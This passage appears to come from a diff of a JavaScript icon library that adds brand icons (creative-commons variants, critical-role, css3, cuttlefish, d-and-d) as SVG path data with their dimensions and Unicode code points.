203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z" ], + "creative-commons-remix": [ 496, 512, [], "f4ee", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z" ], + "creative-commons-sa": [ 496, 512, [], "f4ef", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z" ], + "creative-commons-sampling": [ 496, 512, [], "f4f0", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z" ], + "creative-commons-sampling-plus": [ 496, 512, [], "f4f1", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z" ], + "creative-commons-share": [ 496, 512, [], "f4f2", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z" ], + "creative-commons-zero": [ 496, 512, [], "f4f3", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z" ], + "critical-role": [ 448, 512, [], "f6c9", "M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z" ], + css3: [ 512, 512, [], "f13c", "M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z" ], + "css3-alt": [ 384, 512, [], "f38b", "M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z" ], + cuttlefish: [ 440, 512, [], "f38c", "M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z" ], + "d-and-d": [ 576, 512, [], "f38d", "M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z" ], + "d-and-d-beyond": [ 640, 512, [], "f6ca", "M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 